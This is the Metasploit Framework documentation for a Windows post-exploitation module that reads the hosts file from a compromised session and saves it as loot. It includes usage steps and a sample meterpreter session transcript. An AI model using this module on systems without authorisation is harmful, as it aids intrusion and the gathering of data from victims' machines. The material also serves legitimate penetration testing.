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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/post/windows/gather/enum_hostfile.md
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Vulnerable Application

This module reads the hosts file on Windows systems, located at: C:\\Windows\\System32\\drivers\\etc\\hosts. Any content lines are printed and the file is stored in loot.

Verification Steps

  1. Start msfconsole

  2. Get a session on Windows

  3. Do: use post/windows/gather/enum_hostfile

  4. Do: set session [#]

  5. Do: run

  6. You should get the hosts file

Options

Scenarios

Windows 10

msf post(windows/gather/enum_hostfile) > use post/windows/gather/enum_hostfile 
msf post(windows/gather/enum_hostfile) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (10.0 Build 16299).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > background
[*] Backgrounding session 5...
msf post(windows/gather/enum_hostfile) > set session 5
session => 5
msf post(windows/gather/enum_hostfile) > run

Found entries:
[+] 1.1.1.1 supersecret
[*] Hosts file saved: /root/.msf4/loot/20201011174103_default_192.168.2.92_hosts.confige_103430.txt
[*] Post module execution completed